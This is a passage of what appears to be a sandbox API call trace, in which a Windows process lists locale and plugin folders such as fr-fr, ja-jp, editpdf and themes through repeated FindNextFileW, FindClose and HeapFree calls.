	[0185.986] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0185.986] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.986] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0185.987] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.987] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0185.988] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.988] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0185.988] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.988] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0185.989] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.989] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0185.990] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.990] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0185.990] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.990] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0185.991] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.991] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0185.991] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.991] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0185.993] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.993] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0185.993] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.993] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0185.994] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.994] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0185.995] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.995] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0185.995] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.995] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0185.996] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.996] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0185.996] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.996] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0185.997] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.997] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0185.997] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.997] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0185.997] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.997] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0185.998] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.998] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0185.998] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.998] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeae796f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeae796f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeae796f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0185.998] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.998] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0185.999] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.999] FindNextFileW (in: hFindFile=0x4142b18, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0185.999] FindClose (in: hFindFile=0x4142b18 | out: hFindFile=0x4142b18) returned 1
	[0185.999] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0185.999] FindNextFileW (in: hFindFile=0x4142858, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b4e3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0185.999] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0185.999] FindNextFileW (in: hFindFile=0x4142d18, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeac1720, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeac1720, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeac1720, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0185.999] FindClose (in: hFindFile=0x4142d18 | out: hFindFile=0x4142d18) returned 1
	[0185.999] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0186.000] FindNextFileW (in: hFindFile=0x4142e58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="editpdf", cAlternateFileName="")) returned 1
	[0186.178] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.184] FindNextFileW (in: hFindFile=0x4142858, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0186.220] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.220] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0186.220] FindClose (in: hFindFile=0x4142998 | out: hFindFile=0x4142998) returned 1
	[0186.220] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.220] FindNextFileW (in: hFindFile=0x4142f58, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f0f931, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f0f931, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f0f931, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0186.220] FindClose (in: hFindFile=0x4142f58 | out: hFindFile=0x4142f58) returned 1
	[0186.220] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.220] FindNextFileW (in: hFindFile=0x4142858, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0186.220] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.220] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0186.221] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.221] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f5bdf7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1f5bdf7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1f5bdf7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0186.221] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.221] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0186.221] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.221] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24df500, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0186.221] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.221] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0186.222] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.222] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24b9296, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24b9296, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0186.222] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.222] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x214bcc3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x214bcc3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x214bcc3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0186.223] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.223] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24931b8, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x24931b8, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x24b9296, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
